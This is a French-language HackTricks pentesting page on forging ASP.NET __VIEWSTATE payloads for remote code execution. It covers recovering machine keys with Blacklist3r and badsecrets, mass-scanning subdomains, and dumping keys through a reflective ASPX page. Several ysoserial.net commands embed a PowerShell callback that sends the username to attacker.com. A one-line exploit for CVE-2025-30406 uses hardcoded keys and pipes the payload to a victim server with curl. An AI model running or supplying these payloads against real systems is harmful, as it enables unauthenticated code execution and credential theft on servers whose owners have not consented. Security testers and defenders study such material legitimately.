Exploiter __VIEWSTATE sans connaître les secrets

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que ViewState

ViewState sert de mécanisme par défaut dans ASP.NET pour maintenir les données de page et de contrôle à travers les pages web. Lors du rendu du HTML d'une page, l'état actuel de la page et les valeurs à préserver lors d'un postback sont sérialisés en chaînes encodées en base64. Ces chaînes sont ensuite placées dans des champs ViewState cachés.

Les informations de ViewState peuvent être caractérisées par les propriétés suivantes ou leurs combinaisons :

  • Base64 :
  • Ce format est utilisé lorsque les attributs EnableViewStateMac et ViewStateEncryptionMode sont tous deux définis sur false.
  • Base64 + MAC (Code d'authentification de message) activé :
  • L'activation de MAC est réalisée en définissant l'attribut EnableViewStateMac sur true. Cela fournit une vérification d'intégrité pour les données de ViewState.
  • Base64 + Chiffré :
  • Le chiffrement est appliqué lorsque l'attribut ViewStateEncryptionMode est défini sur true, garantissant la confidentialité des données de ViewState.

Cas de test

L'image est un tableau détaillant différentes configurations pour ViewState dans ASP.NET en fonction de la version du framework .NET. Voici un résumé du contenu :

  1. Pour toute version de .NET, lorsque MAC et le chiffrement sont désactivés, une MachineKey n'est pas requise, et donc il n'y a pas de méthode applicable pour l'identifier.
  2. Pour les versions inférieures à 4.5, si MAC est activé mais que le chiffrement ne l'est pas, une MachineKey est requise. La méthode pour identifier la MachineKey est appelée "Blacklist3r."
  3. Pour les versions inférieures à 4.5, que MAC soit activé ou désactivé, si le chiffrement est activé, une MachineKey est nécessaire. Identifier la MachineKey est une tâche pour "Blacklist3r - Développement futur."
  4. Pour les versions 4.5 et supérieures, toutes les combinaisons de MAC et de chiffrement (que les deux soient vrais, ou que l'un soit vrai et l'autre faux) nécessitent une MachineKey. La MachineKey peut être identifiée en utilisant "Blacklist3r."

Cas de test : 1 – EnableViewStateMac=false et viewStateEncryptionMode=false

Il est également possible de désactiver complètement le ViewStateMAC en définissant la clé de registre AspNetEnforceViewStateMac à zéro dans :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identification des attributs ViewState

Vous pouvez essayer d'identifier si ViewState est protégé par MAC en capturant une requête contenant ce paramètre avec BurpSuite. Si Mac n'est pas utilisé pour protéger le paramètre, vous pouvez l'exploiter en utilisant YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Comme le cas de test 1 mais le cookie ViewState n'est pas envoyé par le serveur

Les développeurs peuvent supprimer ViewState pour qu'il ne fasse pas partie d'une requête HTTP (l'utilisateur ne recevra pas ce cookie).
On peut supposer que si ViewState est absent, leur implémentation est sécurisée contre d'éventuelles vulnérabilités liées à la désérialisation de ViewState.
Cependant, ce n'est pas le cas. Si nous ajoutons le paramètre ViewState au corps de la requête et envoyons notre charge utile sérialisée créée avec ysoserial, nous serons toujours en mesure d'atteindre l'exécution de code comme montré dans le cas 1.

Test Case: 2 – .Net < 4.5 et EnableViewStateMac=true & ViewStateEncryptionMode=false

Pour activer ViewState MAC pour une page spécifique, nous devons apporter les modifications suivantes à un fichier aspx spécifique :

bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Nous pouvons également le faire pour l'application globale en le définissant dans le fichier web.config comme indiqué ci-dessous :

xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Comme le paramètre est protégé par MAC cette fois, pour exécuter l'attaque avec succès, nous avons d'abord besoin de la clé utilisée.

Vous pouvez essayer d'utiliser Blacklist3r(AspDotNetWrapper.exe) pour trouver la clé utilisée.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets est un autre outil qui peut identifier des machineKeys connus. Il est écrit en Python, donc contrairement à Blacklist3r, il n'y a pas de dépendance Windows. Pour les viewstates .NET, il existe un utilitaire "python blacklist3r", qui est le moyen le plus rapide de l'utiliser.

Il peut être fourni avec le viewstate et le générateur directement :

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Ou, il peut se connecter directement à l'URL cible et essayer d'extraire le viewstate du HTML :

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Pour rechercher des viewstates vulnérables à grande échelle, en conjonction avec l'énumération de sous-domaines, le module badsecrets BBOT peut être utilisé :

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Si vous avez de la chance et que la clé est trouvée, vous pouvez procéder à l'attaque en utilisant YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Dans les cas où le paramètre _VIEWSTATEGENERATOR n'est pas envoyé par le serveur, vous n'avez pas besoin de fournir le paramètre --generator mais ceux-ci :

bash
--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true

Dans ce cas, on ne sait pas si le paramètre est protégé par MAC. Alors, la valeur est probablement chiffrée et vous aurez besoin de la Machine Key pour chiffrer votre payload afin d'exploiter la vulnérabilité.

Dans ce cas, le Blacklist3r module est en cours de développement...

Avant .NET 4.5, ASP.NET peut accepter un paramètre ___VIEWSTATE_ non chiffré de la part des utilisateurs même si ViewStateEncryptionMode a été défini sur Always. ASP.NET vérifie uniquement la présence du paramètre __VIEWSTATEENCRYPTED dans la requête. Si l'on supprime ce paramètre et envoie le payload non chiffré, il sera tout de même traité.

Par conséquent, si les attaquants trouvent un moyen d'obtenir la Machinekey via une autre vulnérabilité comme le parcours de fichiers, la commande YSoSerial.Net utilisée dans le Cas 2 peut être utilisée pour effectuer un RCE en utilisant la vulnérabilité de désérialisation de ViewState.

  • Supprimez le paramètre __VIEWSTATEENCRYPTED de la requête afin d'exploiter la vulnérabilité de désérialisation de ViewState, sinon cela renverra une erreur de validation MAC de Viewstate et l'exploitation échouera.

Test Case: 4 – .Net >= 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true/false sauf les deux attributs à false

Nous pouvons forcer l'utilisation du framework ASP.NET en spécifiant le paramètre ci-dessous dans le fichier web.config comme indiqué ci-dessous.

xml
<httpRuntime targetFramework="4.5" />

Alternativement, cela peut être fait en spécifiant l'option ci-dessous à l'intérieur du paramètre machineKey du fichier web.config.

bash
compatibilityMode="Framework45"

Comme dans le précédent, la valeur est chiffrée. Ensuite, pour envoyer une charge utile valide, l'attaquant a besoin de la clé.

Vous pouvez essayer d'utiliser Blacklist3r(AspDotNetWrapper.exe) pour trouver la clé utilisée :

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Pour une description plus détaillée de IISDirPath et TargetPagePath référez-vous ici

Ou, avec Badsecrets (avec une valeur de générateur) :

bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Une fois qu'une clé de machine valide est identifiée, l'étape suivante consiste à générer une charge utile sérialisée en utilisant YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Si vous avez la valeur de __VIEWSTATEGENERATOR, vous pouvez essayer d'utiliser le paramètre --generator avec cette valeur et omettre les paramètres --path et --apppath.

Une exploitation réussie de la vulnérabilité de désérialisation de ViewState entraînera une requête hors bande vers un serveur contrôlé par l'attaquant, qui inclut le nom d'utilisateur. Ce type d'exploit est démontré dans une preuve de concept (PoC) qui peut être trouvée à travers une ressource intitulée "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Pour plus de détails sur le fonctionnement du processus d'exploitation et comment utiliser des outils comme Blacklist3r pour identifier le MachineKey, vous pouvez consulter le PoC de l'exploitation réussie.

Cas de test 6 – ViewStateUserKeys est utilisé

La propriété ViewStateUserKey peut être utilisée pour défendre contre une attaque CSRF. Si une telle clé a été définie dans l'application et que nous essayons de générer la charge utile ViewState avec les méthodes discutées jusqu'à présent, la charge utile ne sera pas traitée par l'application.
Vous devez utiliser un paramètre supplémentaire pour créer correctement la charge utile :

bash
--viewstateuserkey="randomstringdefinedintheserver"

Résultat d'une exploitation réussie

Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne avec succès, alors le serveur répond avec “500 Internal server error” ayant le contenu de la réponse “L'information d'état est invalide pour cette page et pourrait être corrompue” et nous obtenons la requête OOB.

Vérifiez plus d'informations ici

Dumping des clés de machine ASP.NET via réflexion (SharPyShell/SharePoint ToolShell)

Les attaquants capables de télécharger ou d'exécuter du code ASPX arbitraire à l'intérieur de la racine web cible peuvent directement récupérer les clés secrètes qui protègent __VIEWSTATE au lieu de les brute-forcer. Une charge utile minimale qui fuit les clés exploite des classes internes .NET via réflexion :

csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

La demande de la page imprime la ValidationKey, DecryptionKey, l'algorithme de chiffrement et le mode de compatibilité ASP.NET. Ces valeurs peuvent maintenant être directement utilisées dans ysoserial.net pour créer un gadget __VIEWSTATE valide et signé :

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

Cette primitive d'exfiltration de clé a été massivement exploitée contre des serveurs SharePoint sur site en 2025 ("ToolShell" – CVE-2025-53770/53771), mais elle est applicable à toute application ASP.NET où un attaquant peut exécuter du code côté serveur.

Scénarios d'exploitation dans le monde réel 2024-2025 et clés de machine codées en dur

Vague de "clés de machine divulguées publiquement" de Microsoft (déc 2024 – fév 2025)

Microsoft Threat Intelligence a signalé une exploitation massive de sites ASP.NET où la machineKey avait précédemment été divulguée sur des sources publiques (gists GitHub, articles de blog, sites de paste). Les adversaires ont énuméré ces clés et généré des gadgets __VIEWSTATE valides avec les nouveaux drapeaux ysoserial.net 1.41 --minify et --islegacy pour éviter les limites de longueur du WAF :

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Faire tourner des clés statiques ou passer à des clés AutoGenerate dans Web .config (<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />) atténue cette classe d'attaques. {{#ref}}

{{#endref}}

CVE-2025-30406 – Gladinet CentreStack / Triofox clés codées en dur

Kudelski Security a découvert que plusieurs versions de CentreStack / Triofox étaient livrées avec des valeurs machineKey identiques, permettant l'exécution de code à distance non authentifiée via la falsification de ViewState (CVE-2025-30406).

Exploitation en une ligne :

bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

Fixé dans CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – mettez à jour ou remplacez les clés immédiatement. {{#ref}}

{{#endref}}

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks